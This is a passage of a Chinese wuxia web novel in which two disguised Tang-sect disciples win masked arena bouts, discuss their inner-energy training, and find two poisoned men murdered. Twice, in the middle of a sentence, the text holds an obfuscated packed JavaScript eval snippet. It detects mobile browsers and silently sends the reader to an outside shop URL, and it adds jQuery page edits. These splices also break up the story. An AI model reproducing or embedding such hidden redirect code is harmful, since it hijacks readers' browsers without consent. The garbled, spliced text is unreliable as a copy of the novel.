不过唐一禾腹诽,能练到这种程度的行家里手,都是凤毛麟角,自有生财之道,哪里会自降身份来打个拳赛?所以破格之人,十之八九是拳庄邀来的高手,不想让头名旁落,少花一份钱罢了。 为避免不必要的麻烦,唐一禾并没有用软鞭——这并不是一项大众化的武器,而是选择了一把未开刃的大刀,然后握着刀柄静静地站在擂台上,等着开赛锣响。 随着“铛铛铛”的锣声响起,唐一禾积攒了大半天的怒气,终于抵达了峰值,然后她运气至巅峰,闪电般蹿出朝“山君”砍了过去。 5. 高手过招 “山君”完全没想到,对面这个瘦弱的“神锋无影”,竟是个爆裂的脾性,说砍就砍,速度还奇快。待他反应过来时,刀已至头顶一尺处,忙举棍相格。更让“山君”没想到的是,这一刀还是个虚招,对手旋身一个结结实实的飞踢,正好踹在腰肋间的破绽处。 此时“山君”只觉一股大力撞来,喉间一甜,向后连退五六步,然后收不住势,重重摔在擂台之下。好在横练功夫多年,不至于筋断骨裂。 刚刚还喧哗吵闹的观众席,一下子变得鸦雀无声,这就结束了?! 虽然季赛文明得多,不鼓励以命相博,但文无第一,武无第二的道理人人都懂,打起来格外容易上头。为避免签订生死状后,有人趁机在擂台上挟私报复、取人性命,比赛有明确规定——兵器脱手或摔落擂台一方,即时为输,主动扔掉兵器或跳出擂台的,也判定为输。 安静并没有持续多久,庄家的司正反应也快,在一声尖锐的哨声后,司正浑厚的声音响起——“第一场,神锋无影,胜!” 直到这时,人群中才开始传来交头接耳的声音。 “这瘦鸡仔是吃大力丸长大的吗?” “神锋无影有点本事啊,这算不算是破了季赛最快得胜记录?” “山君败得可惜啊,被那‘软脚鸡’偷袭,不然胜败还未可知呢!” “你快拉倒吧,山君练的外家功,神锋练的内家功,啥也不知道,在这瞎嚷嚷。” “你又知道个屁,神锋就劈了一刀,踢了一脚,怎么就是内家功了?” …… 唐一禾收刀,一言不发走回候场区。现在参赛者看她的眼神,跟上场前可是完全不同了。此次季赛共三十二名武者,白天的时候老陆针对此战唐一禾的对手“山君”、以及唐烈风的对手“无敌双刀客”,反复叮嘱了好多遍。 虽然“山君”并不是一个强劲的对手,但唐一禾也知道,一旦让其耍开了铁棍,再想要快速取胜,免不得要挨上几下,搞不好刀都要被震豁口。 不过来的目的是练招拆招,唐一禾也做好了挨揍的准备,上场前跟师弟也推演了很多遍,决定多用“缠”招和“卸”招与其周旋。但等真上了场,被现场观众骂得一时上头的唐一禾,临时改弦易辙,两招解决战斗。 今晚比赛一共十六场,唐一禾是第二场,唐烈风则是第六场。据老陆说,比赛越到后面越是激烈好看,由于她们二人皆是新手,虽然有他作保,庄家也不会贸然安排到后场,要先试水,之后定夺。 为保证场面和保持悬念,不要让强手过早相遇出局,庄家每次还都会邀请高手名宿镇场,根据每个武者的现场表现,来决定下场的对战双方。 相比唐一禾的华丽首秀,“无名”剑客唐烈风的比赛,实在是看得人昏昏欲睡。“无敌双刀客”同样是通过第一等级比赛选拔而来,二十七八岁的年纪,鼻直口阔,身姿挺拔,使的是少林梅花双刀,练的是金刚不坏功,武功修为要比只注重炼体的“山君”要高得多。 所以观众们看到的擂台是,双刀武者一直压着剑客在打。只见双刀如旋风般舞动,刀光闪烁,攻势凌厉,明显落在下风的“无名”,只能在拆挡七八招后反击一二,但也直指要害,有几分毒辣。 拆得五六十招后,“无敌双刀客”身法一变,刀势如潮,原来之前尚留有三分余力,此时见“无名”招式中带着生涩稚嫩,决定变招强势拿下。不料“无敌双刀客”变招后,“无名”的气势竟也提升了,但攻守之势始终未变,还是七八招防守后,还个一二招。 金刚不坏功最是消耗气力,久攻不下的“无敌双刀客”只得再次换招,双刀一横,变劈为斩,辅以刺挑抹转,节省内力。等缓得一阵后,“无敌双刀客”见“无名”劲力也逐渐绵软,一副难以为继的样子,又提气猛攻一通,但无论他如何发力变招,仍是打破不了僵局。 几次三番后,观众们不干了,只见刀客摁着剑客打,就是打不死,纷纷喊着“再加把劲儿,豆芽菜就要噶了”、“无敌你晚上没吃饭吗?”、甚至还有开了黄腔“折腾一宿、就差一抖”之类的,殊不知“无敌双刀客”也是有苦说不出——他已经用尽了生平所学的所有招式,甚至使上了义兄的□□、偷师的八卦刀等,可对面这个无名小子,也没见使出什么厉害的招数,就这么不紧不慢的封挡回转,愣是奈何不了半分。 又打了一盏茶的功夫,观众们更加不耐了,不少人甚至去上茅厕了,这让“无敌双刀客”心下焦躁,一个转身后双刀交叉劈下,又回到了最初梅花刀法。此时“无名”眼中精光一闪,看准对方招式转换的瞬间,身形一闪,剑尖如电,分刺对方两个手腕。 “无敌双刀客”猝不及防,手中双刀应声落地。 唐烈风收剑而立,淡淡道:“承让。” 观众们再次鸦雀无声。 这,这又是怎么一回事,竟然是那个一直半死不活的“无名”胜了! 此时老陆心里乐开了花,青面獠牙的夜叉都变得可爱起来。他对自己的眼光极为自信,那个能只身挡住“鬼夫”朗琅全力三击的少年,又岂会是等闲之辈?瞧那猿臂蜂腰、肩宽腿长的,更别提少年一派虎顾鹰视之相,假以时日,必成一代武学大家。 所以在当保人推荐时,老陆藏了私心,跟庄家说唐一禾身为师兄,年长一岁,武功要更厉害一些,这样唐烈风赔率更高,才好挣更多的钱。 为避人耳目,唐一禾和唐烈风赛后也并未交谈,而是各自坐在退场席上,默默看完全部比赛后,一前一后出了门,拐过两条街后汇合,确保没有盯梢后才一起快速离开。 “你说那个神锋和无名,是认识的?”雅间包厢里,一个相貌英挺的少年正摘掉脸上的“红脸关公”面具,朝躺在软榻上的另一个少年抬了抬下巴。 “内功心法都是正宗的唐门内门弟子,一出手就明明白白的。”软榻上的少年直起身子,随意的动作自带一股气韵风流,“这比美貌、权势更难作假。文璟,你得加油了哦。” 那个叫文璟的少年冷哼了一声:“等上七日,你再看如何?” “我知你天纵奇才,但门中那些老不死也不是吃干饭的,个个目光如炬,难缠得很。”软榻上的少年又躺了回去,“神锋就出了两招,暂时看不出什么。无名倒是有趣的紧,分明内功远在刀客之上,非要耍些拙劣的把戏来扮猪吃虎。唐门内门弟子遮脸来打比赛,只能是缺钱了。小四,去查一查,三部中有哪些爱赌博、沾风月的内门弟子近期输了钱、惹了事的。” 门口一个小厮“喏”了声,飞快地退步离开。 软榻上这个少年名叫唐楚玉,是唐门制部阁主唐至霖的关门弟子。因为阁主对其百般宠爱,一度有传言是阁主在外的私生子,导致唐楚玉在门中不容于阁主发妻的亲儿子,也就是少阁主唐司南,故其少年时期便一直在外游历,因唐门令的缘故,近日才回到罗城。 唐楚玉生得人如其名,面如冠玉,俊秀风流,尤其是那一双桃花眼,斜飞含笑,顾盼生姿,极易让人生出亲近之感。但高文璟知道皮囊不过是表象,唐楚玉性烈如火,心思坦荡,他此番进蜀能信任的,也唯有唐楚玉一人。 “不行,待我去问问庄主。”唐楚玉“蹭”得一下站起来,风一样地跑出去了,高文璟视若无睹地闭上双眼,专心练习起唐门心法。 过得一阵,唐楚玉又风一样进屋来,嘴角上扬,声音中透着得意:“果不其然,神峰和无名都是陆老头保荐的,陆老头还压了一千两银子赌无名胜,真是老奸巨猾。下一场本来让你对无名,我让庄主调换了一下,这么有趣的人可不能只打两场,那就让陆老头再赚点养老钱。” 高文璟斜睨:“你就这么确定,无名打不过我?” 唐楚玉笑得眼角炸花:“别人不知道,我还能不知道?用上本门心法,整个唐门新生一代,也就唐司雅能与你一较高下。现在唐司雅走了,你别告诉我,对上个无名之辈,你还怕了不成?” “这不是要忘掉本门心法,用上你们唐门的功夫,才来打这拳赛的吗?”高文璟垂眸,轻声冷笑,“果然是唐门的地盘,一个神峰、一个无名,闹来闹去都是你们自己人。只是希望这两块磨刀石,不要让我失望。” 此时,唐一禾打了个喷嚏,不耐烦地冲唐烈风喊:“知道了,后天的比赛我就学你,打到观众嘘声一片再结束。” 唐烈风气结,不过就是说她了几句,既然是练招,就要让对手使出所有的招数,然后观其套路、找其破绽,结果他话还没说完,她就炸毛了,所以往后还是保持沉默的好。 等了许久,老陆终于喜孜孜的回来了,虽说赢了的五千两银票没拿回来,又一赔二压给了唐烈风的下场比赛,但当伯乐的喜悦,远胜赢钱的快乐。 “下一场比赛的对手要强很多,不过也不要担心,比赛我都仔细看了,有困难但不大。”老陆掏出三百两银票递给唐一禾,陪着笑脸说,“这是你赢的,下一场我也压了你赢。” 唐一禾朝天翻了个白眼,拿了银票往后院走,甩下一句“大可不必。” 傍晚时分陆曼娘醒过来了,情绪很激动,好在老陆把他媳妇叫过来安抚,但也停停歇歇地闹了一晚上,这让左厢房里的唐烈风彻夜难眠,望着大床上呼呼大睡的唐一禾,无奈又羡慕。 唐一禾五感六识极为敏锐,但偏偏有本事能自我隔绝,封闭后便进入自己的世界,丝毫不受外界影响。二人自幼一起长大,同吃同住,虽年纪渐长,有了男女之别,但山中环境单调枯燥,倒也无须生分楚河汉界。等出了洛川后世道险恶,连遇凶杀,二人只能互为依靠, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522920|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借宿打尖也是共宿一室,只是各分床榻罢了。 待早上唐一禾悠悠转醒后,发现师弟已经练了一早上的剑了,她最喜欢故作惊讶:“哇塞,进步神速,一招一式都有剑道高人的样子了,厉害厉害。” 唐烈风不搭话,反手一剑朝唐一禾刺过去,竟是明晚唐一禾的对手“明月清风”的招式。唐一禾错愕之下,后跃避开喊道:“你也等我拿刀出来啊。” 唐烈风一招得势,步步紧逼,剑尖轻点,分袭唐一禾各处大穴。 “反了天了,你个白眼狼。”唐一禾抖开腰间软鞭,搭手一折一抖,力贯鞭身,愣是以鞭为刀挡了回去,跟着反手一斩,用的是昨晚“无敌双刀客”的□□,“看我不劈死你。” “形似神不似。”唐烈风轻飘飘地点评一句,同时以剑为刀,身形暴起,反手斩下,“这样更像一点。” 唐一禾不敢硬接师弟这用上七分内力,但准头偏了三分的“斩马剑”,拧身避过,手腕一抖,鞭头如灵蛇般,直取唐烈风腰间大穴。 “你这不是刀法,算是犯规。”唐烈风并不闪避,回剑荡开软鞭,却见鞭身如蛇缠绕而上,神色不由得凝重起来,单手挽个剑花逼退软鞭,同时飞起一脚踢向门户大开的唐一禾,“师姐不得擅自改招,灵蟒鞭法每招都有后手,你这样……” 唐一禾早有准备,不守反攻,竟然将鞭柄当飞刀疾射而出,然后揉身前欺,双掌如刀斩向唐烈风脖颈:“谁说不是卖个破绽,诱敌深入呢?” 二人你来我往,手上嘴上都不停歇,越打越觉得身随意动,看得一旁的老陆目瞪口呆。不过一个晚上,这两个家伙就能融会贯通,进步之神速简直闻所未闻,那么之前十几年,他们都在干什么? 经部培养弟子的方式,果然与众不同! 第二日戌时,拳庄里灯火通明,人声鼎沸,写有十六个参赛者花名的横幅已经挂在了横梁上。 唐一禾没想到连她也有了支持者,抬眼望去,竟然看到有拿着“神峰无影”条幅的观众。估计是压了注的,万一输了的话,条幅还能用来擦鞋,啧啧,也是不浪费,唐一禾心里想。 赛前出了个小插曲——今日庄家给出的对战双方,竟与前日略有不同,唐一禾不受影响,唐烈风的对手则从“赤焰”变成了“雷霆之怒”。 对此唐一禾觉得是好事儿。因为“赤焰”也是一名剑客,带着“红脸关公”的面具,看身型岁数不大,使的也是最常见的唐门辟邪剑法,但唐一禾看其过招时,有一种说不清的感觉。为此她还试探性地问了老陆和师弟,但都没有得到她想要的回答,所以她决定还是不说了,别让她的多心,影响到师弟的比赛。 不过六识是一种很玄妙的感知,“赤焰”给她一种很危险的感觉,唐一禾觉得能不碰上最好。 听到这样的消息,唐烈风和“赤焰”都毫无所动,连面具后的眼睛都没眨一下,涉及的另一名武者咕哝了几句表示接受,反倒是“雷霆之怒”不干了。 与霸气花名不符的是,“雷霆之怒”是一个眯眯眼的青年男子,瘦而丑,使一对追云锤,功法吊诡、招式毒辣,看着像是西南一带的散修,据老陆说是自荐来参赛的。 唐一禾很不喜欢他,因为那双眯眯眼总是似有似无的落在她身上。果不其然,只听“雷霆之怒”慢悠悠地说:“如果名单可以随意更改的话,我也要挑对手,我就想选‘神锋无影’。各位听听,就连名字都是如此相配,嘻嘻。” 唐一禾从未这么后悔,取了这么一个花名,但此时出言回击有暴露身份的风险,就算再压低声线,也怕有心之人能听出端倪。她筋骨纤细,身量未足,缠上裹胸布,遮住脖颈处,举手投足间又全是自然的男子做派,任谁也看不出女子身份。 老陆说主要破绽在声音,十五六岁的少年郎已过变声期,没过的也是公鸭嗓,没有那么清脆的声线。所以唐一禾一开始就打定了主意,进了赛场绝不发一言,只有当个哑巴才最安全。 庄家来人是一个和气的中年胖子,圆滚滚的脸庞上挂着笑容:“这不是邀来镇场的老头子们,临时又改了主意嘛,还请各位给庄家一个面子。”中年胖子笑容可掬地鞠了一圈躬,姿态放得极低,“东家说了,涉及调整的四名武者,每人补偿一百两银子。” 俗话说,伸手不打笑脸人,话说到这份上,谁也不会真要跟手眼通天的庄家过不去。再说一百两银子的补偿,也是足够丰厚了,第二轮淘汰赛赢家的奖金,也不过一百两。 唐一禾由于上场戏剧效果拉满的表现,庄家心领神会地将其比赛放到压轴,把打得并不好看的唐烈风放到了第三场,然后现场观众看到了一场用时更短的比赛——“无名”在开赛锣响的同时,暴起一剑将“雷霆之怒”的双锤击飞,然后二话不说跳下擂台,头也不回地走了。 6. 探听虚实 这次连司正都震惊了,隔了半晌才喊出——“第三场,无名,胜”。 观众都开始怀疑起自己的记忆来,分明上一场打得那么拖泥带水,这一场怎么能这么争气?!就是也太生猛了些,要是早把这个劲头拿出来,那个“无敌双刀客”早就屙边了。 此时就连观战的高手名宿们,也都忍不住心惊,这个“无名”实力深不可测,就是脑子好像不太行。 晚上回到住处时,唐一禾可算是找到了把柄:“既然是练招,就要让对手使出所有的招数,然后观其套路、找其破绽,这是哪个大明白说的话?怎么到了自己身上,就全然不记得了呢,这是哪个糊涂蛋做的事?” 唐烈风瞥了唐一禾一眼,低头闷声不语。 “不过你那招是真的帅。”唐一禾伸出大拇指,“想不到你的内力,竟然练到这个地步了,老实说,什么时候突破到‘九转心经’第八层的?” “九转心经”是唐门最顶尖的内功心法,一句可拆多意,极为晦涩难懂,没有师傅亲传口授,就算将千字口诀倒背如流,也无从入手修炼,所以只有内门弟子才能初窥门径。由于各人理解不尽相同,导致同一个师傅带出来的徒弟,有的能快速精进、超过师傅,有的则屡屡受阻、难以寸进。 “九转心经”一共九层,每一层都差异极大,越往高练、越难突破。一般内门弟子也就练至前三层,练到中间三层的内门弟子属于佼佼者了,天资和刻苦二者不可缺一。至于最后三层,对内力的要求相比之前,可谓是鸿沟天嵌,更有修炼的机缘,不少长老终其一生也只能在第六层打转。 唐门数百年来能练到后三层的,不过数十人,突破第九层的,更是屈指可数,老祖唐川之就是最出名的那个。谣传“九转心经”还有第十层,老祖闭关修炼三十年正是这个目的,而此次老祖突然发布唐门令,就是因为其神功大成,准备羽化飞升了。 当然,唐一禾是不信这个的,算算年纪,老祖也差不多到该上天的岁数了。 唐一禾自小得大师兄亲授督促,修习“九转心经”没有走任何弯路,一路顺利练至第六层。然后就被无形的屏障所阻,丹田里的气蛇身形,都快推压凝成实体了,也再变大不了分毫。 大师兄安慰她不要着急,练功讲求机缘,唐一禾愤愤地想,大师兄他当然不着急了,他不过弱冠之年,就突破到了第八层,要知道唐门老祖练到第八层都年近而立,师傅就更别提了,到了四十岁不惑才突破的。 最让唐一禾愤慨的是,她手把手带着识字断句、析经辨义的师弟,竟然悄无声息地突破到了第七层。 被质疑悄无声息的唐烈风,确实有点冤枉。唐烈风心知肚明师傅唐至青对他冷漠,虽说入了师门,但不仅没有行拜师大礼,连名字都没上弟子姓名谱牒。大师兄唐司雅为人极好,但平日里与他也不算亲近,只有师姐唐一禾对他真心以待。 所以当唐烈风突破到第七层后,他第一反应并不是如何高兴,而是生出了一丝愧疚之情。他深知唐一禾争强好胜,又好为人师,十岁那年,他先于她练到了第四层,她一个月都没正眼看过他,直到她也突破后才口口声声说,习武之人功夫练得怎么样不重要,以德服人才最重要。 之后再次领先突破后的唐烈风,果断选择闷声不提,每日该怎么练还怎么练。反正师门中也无人在意他的功夫。后来师傅没了,大师兄也失踪了,跟师姐出了洛川就被马贼盯上,以二敌三十,性命攸关时只得全力搏杀,第七层的“九转心经”算是大展神威。 等二人冲出包围圈后,师姐的第一句话竟然是“知道你爱藏私,想不到藏了坨大的,哈哈哈哈,烈风你好好练,等练到第九层,咱就能欺男霸女,作威作福了”,让唐烈风哭笑不得的同时,愧疚的心也算是放下了。 只能说形势逼人成长,危机教人做人。 现在当唐一禾发现师弟“九转心经”又突破之后,完全没有羡慕嫉妒恨,只剩下巨大的惊喜——总算在当下的挣扎求存中,多了一份底气和倚仗。 而且十六岁,师弟他只有十六岁,这意味着什么?这意味着师弟是唐门历史上最年轻的“九转心经”第八层,意味着师弟他才是真正的天纵奇才——当差距越拉越大时,与有荣焉就会超过嫉妒冒酸。 “你没看错?真是第八层?”高文璟眉心微蹙,盯着手中转动的瓷杯,语气中带着一丝不可置信。 唐楚玉难得见好友动容,要知道高文璟出身高门,自幼耳濡目染,讲究喜怒不形于色,举手投足间,更是带着与生俱来的从容与威严。为此唐楚玉很是替高文璟的相貌不值,明明眉峰如刀、下颌如剑,愣是没有一个姑娘敢主动靠近,更别提他看美人如看蝼蚁的眼神,戏子花娘就没有一个不怕他的。 “我找外祖查过底了,‘雷霆之怒’是西南苗王田定达的弟子,后来犯了错被逐出师门,武功没拉下,手底下很硬,我打他也得费点功夫。”唐楚玉也难得严肃起来,“无名那一剑的内力,我可使不出来。” 唐楚玉自幼天资聪颖,又得阁主百般宠爱,功法心诀都是最顶级的,陪练师长也是最顶级的,各种天材异宝、丹药补品更是流水一样往上堆,势必要夯出一个最好的底子来。 他自己也争气,玩乐归玩乐,练功是不怕苦的,刚过十六岁就突破了“九转心经”第七层,无怪乎随着年岁渐长,制部少阁主唐司南也是愈发忌惮起这个小师弟来。 听到骄傲如唐楚玉也坦言内力不敌,高文璟只是淡淡地回了一句:“那,我更想试试了。” “八进四有点早,四进二给你安排上。”唐楚玉撇撇嘴,另起话头,“话说,我还是更喜欢那个神锋唉。他可太灵了呀,今天这场差点没把‘明月清风’给气死。不过百余招的功夫,就把‘明月清风’的招式学得七七八八,最后还要用对手的绝招打败对手,而且第一次没用好,非要引着那‘明月清风’又来一遍。哈哈哈哈,你说他多坏啊,杀人诛心了,哈哈哈哈,想想那个明月多绝望,哎哟哟,真的笑死我了。” 唐楚玉笑声突然一顿,朝高文璟探过身子,神秘兮兮地说:“对了,还有个事儿,你知道无名为啥上台就爆发吗?听安叔说,上台前‘雷霆之怒’调戏神锋了,不过神锋没吭声,无名憋着火呢。就说他们认识的,搞不好是一对儿,反正罗城这地儿,最不缺的就是契弟兄。啧啧,就雷霆那样儿,搁我也揍他。” “我在场呢,算不上调戏,也就是言语不敬。”素来沉稳高冷的高文璟,也忍不住笑着推开唐楚玉,“越说越离谱了,有机会去探探神锋和无名的底才是正事儿,哪怕能摘下面具看看也行。” 丰乐坊的民居正厅中,唐一禾又打了一个喷嚏。 “不会是出汗后,回来又受了风吧?”唐烈风递过一杯温水,又要起身进左厢房。 “你翻出来姜母丸我也不吃,说了不是着凉。”唐一禾眉头紧锁,朝老陆再三确认,“各大医馆都没有一点消息吗?不可能啊,怎么会没有呢?” 老陆今日也赢了钱,但三日已过,仍然没有广通镖局真凶的线索,一定程度上冲淡了他的喜悦。他非常肯定地说:“各大医馆都派人盯着了,药铺行里也有稳当的朋友,都说没有浑身剧烈不明瘙痒的病患,只有些皮肤红痒的百姓,再就是得花柳病的妓子了。” 唐一禾眉间拧出了川字,师傅制毒的厉害她是最清楚的。按理说不超过三日,那几个中了毒的杀手,就会尝到万蚁噬骨的痒。这种痒是无法缓解的,最后一定是鬼哭狼嚎打滚,抓得浑身血呼拉碴,带着这样的形容再去求医问药,肯定是瞒不住的。而且医者也不一定能看出是中毒,搞不好还以为是中了邪…… 中邪?唐一禾脑海里灵光一现:“老陆老陆,再派人去问问那些比较出名的巫人道士,我怎么把这茬给忘了。” 老陆一拍大腿:“所言极是,我这就去。” 随着老陆急匆匆的脚步声离去,屋里安静下来,唐烈风长吁一口气:“今晚总算可以睡个好觉了。” 原来陆曼娘闹了两天一夜,总算是消停了,也被老陆媳妇说动,决定先去老陆家暂住,方便照顾。她当面跪谢了唐一禾二人的救命之恩,也表示不会轻举妄动,待与二叔三叔商量后,再从长计议。 陆曼娘举止端庄,礼仪周全,言谈中也措辞得体,而唐一禾则感慨于——她实在是太美了,从头到脚无一不美,虽然面色憔悴,双眼红肿,但梨花带雨之姿,更显楚楚动人,难怪唐少阁主一见倾心,紧追不放。 但过人的美貌确实是灾难,不过唐一禾暂时没有这个困扰,虽说五官是周正的,但长相宜男宜女,四肢也是纤长的,但身板还辨不出男女,只能让她自我安慰,这样更有利于轻功修炼。 “那你今晚去右厢房睡吧,各睡一间睡的好,省得互相干扰。”唐一禾收起自怜自艾的心思,打着呵欠边走边说。 “还是住一间吧,我睡觉没有响动。”唐烈风跟着走进左厢房,自顾自地摊开塌上薄毯,“有的人睡着了,被拖走都不知道。” “我那是封闭了五感好吗?否则夜里屋顶上飞过一只鸟,我都知道。”唐一禾不服气地说,“我这不是知道,你就在边上的嘛,我们两个有一个警觉就够了。谁让你这般矫情,睡不着觉嫌人吵,拉不出屎来还要怪茅房吗?” 唐烈风揉揉眉心,盘腿坐好,五心向上:“那你睡吧,我再练会儿功。” “勤能补拙,我不拙,所以我懒,这没毛病。”唐一禾心安理得地躺下,不过刚闭眼一会,她猛地翻身坐起,“你说你昨天晚上练功时,突然领悟了口诀中最重要的两句,‘天行有数,人道有欲,强自压之,不如导之’,然后就突破到了第八层,你再给我说说,你是怎么做到的?” 唐烈风一怔,看了唐一禾好几眼,才缓缓地说,“就是承认人的欲望,发而中节。” “什么?什么意思?我怎么听不懂呢?”唐一禾睡意完全消失,瞪大了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522921|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛看着师弟,“《中庸》里是这么说的吗?不是‘喜怒哀乐之未发,谓之中;发而皆中节,谓之和’吗?” 唐烈风的脸色变了变,一丝羞赧快速从眼底闪过,然后终于下定决心,语气极快地说:“师姐,承认欲望不一定是顺从,也可是饲养和纵容。等欲望的猛兽足够大了,再放它出笼,然后再将其压制,重新套上笼头。如此反复后,身体就会达到一个极限,最后用内府之气存养,等欲望重新归于心海后,就会发现身体的极限提升了,也就突破了。” “啊?你是这么理解的啊,跟我的理解完全不是一个路子啊。”唐一禾听得龇牙咧嘴,眼皮抽搐,“难道不是顺势而为,化育成人,才比较贴合这个‘导’字吗?你这个,这个就很难借鉴啊。” 唐烈风不语,他自觉已经说得太多了,要不是师姐逼问,他是打死都不会吐露一个字的。 “你欲望的猛兽是什么?”唐一禾本来已经躺下了,又翻坐了起来,脸上带着揶揄的笑,“你昨晚被吵得睡不着,是不是满脑子都想着陆曼娘?哈哈哈哈,美色当前,少年怀春也是自然,哈哈哈哈……” 唐烈风眼都没睁,淡淡地回答:“是又如何?” “那你得加油练到第九层了哦。”唐一禾好心提点,“陆曼娘太美了,觊觎的人太多,得有个强有力的庇护。” 唐烈风应了一声,然后继续安静打坐。 唐一禾本意是打趣一番,不曾想他如此干脆承认,再调侃下去就没意思了,只好悻悻地第三次躺下。不过这个晚上,唐一禾整夜辗转反侧,半夜都恨不得坐起喊一句——“好好的口诀,为啥写得这么晦涩?也不怕弟子们瞎琢磨,走火入了魔。” 次日没有比赛,唐一禾二人闭门不出,潜心复盘了一整天。 剩下的八名武者中,从第一等级比赛选拔来的只余下一个,叫做“金丝猴”的,武艺谈不上多好,轻功练的是真好,满场游走的,还会音技攻击,也就是通过突然发出高频刺耳声,干扰对手的注意力。上一场那个功夫不俗的大和尚,就是着了这个道儿,惜败离场。 除了这个猴,其他五个人都实力不俗,唐一禾与唐烈风仔细回忆,互相印证,越推演越觉得心惊。 别的武者都还好,各有厉害之处,但你有开山技,我有破天法,倒也不必特别在意。倒是那个“赤焰”太普通了,普通得有点反常,一手平淡无奇的唐门辟邪剑法,连挑两位高手,每一剑都正克对方出招,仿佛能提前预判一样。 “那个‘赤焰’不像火,倒像口深潭。”唐一禾闭眼将“赤焰”两场比赛所有的招式回想了一遍,“全部都是辟邪剑法,一招其他的都没有,而且自始自终没有主动出击,都是对手先动他才出招,他反而处处占先机,真是太诡异了。” 唐烈风也觉着不对劲了,他自知不如师姐敏锐,第一场比赛后师姐就问过他,有没有注意到那个“火”有点奇怪,他当时确实没有注意到。 所以到了第二场,他凝神看了“赤焰”全场比赛,甚至闭眼将内息提升至极致,去感受场上气的变化。这一下就看出问题来了——“赤焰”的气,从上台到下场,都没有出现丝毫波动,好似他不是打了一场擂台赛,而是读了一页书,还是那种无聊的话本子。 “那个火,个子挺高,肩宽腰窄的,背却不厚,四肢也不算粗健,应该年岁不会太大。”唐一禾沉吟道,“头发还那么黑亮,气血很足的样子,衣服料子也好,不是缺钱的穷酸样。所以一个武艺高强的世家公子,来打金章擂台,他到底图什么?” “他强任他强,清风拂山岗。”唐烈风压下心中莫名的不悦,“做好我们自己,就没什么可担心的。” “咚、咚咚咚、咚咚……”门口传来敲门声,是约好的暗号,唐一禾过去隔门相问,原来是老陆派来传话的跑腿。 “陆掌柜让我过来说,城东巫婆子阎大花那有消息了,有两人中了邪、浑身痒,但捆在屋里没见着,要二位随我过去瞧瞧。” 闻言,二人迅速收拾妥当,时间紧急来不及易容,唐一禾仍是着的男装,戴了顶老陆的瓜皮小帽,用炭灰涂黑了脸,顺手也在师弟脸上抹了几把,便急匆匆地出了门。 二人跟着小跑腿走,速度自然不算快,等走到城东通善坊的一条巷子口,小跑腿停下给指明了位置,然后揣着唐一禾给的碎银子,千恩万谢的走了。 通善坊的屋舍拥挤杂乱得多,此时刚过酉时,各家各户都亮着灯,嘈杂的市井气息混着食物的香气扑面而来。唐一禾隐隐觉得不太对劲,但也说不出所以然,只觉得前面的屋舍阴影极深,仿佛匍匐着不知名的巨兽,又仿佛巷子里暗藏着窥探的眼睛,让她始终心神不宁的。 唐一禾没直接走进巷子,反而拐弯停在路口一个走街串巷的货郎担子前,专心地挑选起黄铜首饰来。 反正隔了三四日,不差再等上那么一等。 果不其然,前面屋舍传来女子尖厉的喊叫声。 7. 杀人灭口 唐一禾一直相信自己的第六感。 今日出来,她就觉着会有事发生。一路上都细细辨过,确定身后没有尾随,小跑腿也是老陆身边的熟面孔,但昨晚离开拳庄就被人盯上,尽管很快就把盯梢甩掉了,唐一禾还是觉得行事要更小心一点。 所以当女子叫声响起时,唐一禾拉住即刻要前去探个究竟的师弟,反而往外走出一段,等到巷子里的人家纷纷打开门,往巫婆子阎大花门口涌去,这才不紧不慢地跟了上去。 唐一禾的想法很简单,既然阎大花这儿传出了消息,那现在此地就是一个众矢之的。凶手一伙肯定在,老陆查到了消息,头一份要通知的就是唐司南,然后就是镖局的人手。除了已知必到的三方人马,搞不好还有心怀不轨、浑水摸鱼的势力。唐一禾觉得到了现在,她一个下毒的局外人,没必要往枪口上去撞,等到火拼结束再去查探,反而更加安全。 此时门口瘫坐着一个披头散发的妇人,脑门上还贴着一张黄符纸,面白唇紫,满脸惊恐,大口地喘着气。 “阎大花,你这是撞见鬼了吗?”一个街坊问。 “她见到鬼不是正常的吗?你应该问,是不是见到鬼杀人了?”总有喜欢接话抖机灵的 闻言,那个叫阎大花的妇人猛地抬起头,眼神已经不正常了,猛地大喊起来:“杀人了,杀人了,鬼杀人了。” 这一叫可把大家都吓了一跳,这事儿还是能喊得应的吗?真的是活闹鬼了。 好在天色尚未黑透,聚的人又多,人群里有胆子大的,先是几个壮汉小心地探进去,接着进去的人越来越多,惊呼喧哗声此起彼伏,尽管内心抓挠,唐一禾还是选择挤在最后那几拨人中进去。 饶是有了充足的心理准备,在见到横卧在地的两具男尸惨状时,唐一禾也是吸了一口凉气。死的是两名成年男子,常见的武人打扮,不常见的是露在外面的皮肤几乎都是烂的,仔细看才发现,是一道道的血印子叠在了一起,上面甚至还有牙咬的痕迹。 最可怕的是两人脖子上都插着一根竹签,正是求签筒里的两支上上签,猩红的字迹仿佛恶鬼的眼睛,嘲笑着所有围观者。 唐一禾环顾四周,诸多的打斗痕迹,空气中甚至还有一丝腥甜,应该是残存的毒气。再看那两根贯穿脖颈的竹签,力道之强,令人乍舌。死者身上隆起的肌肉和鼓鼓的太阳穴,昭显二人并非易与之辈。虽说被碧螣毒液折磨了三四日,但唐一禾知道瘙痒并不不致命,并不会减损二人在身临绝境时的战力。 “天老爷,这,这是张勇、张军两兄弟吧?”人群中有人认出了这两个恶形恶状的死者,“我了了天,这兄弟俩,竟然,竟然……” 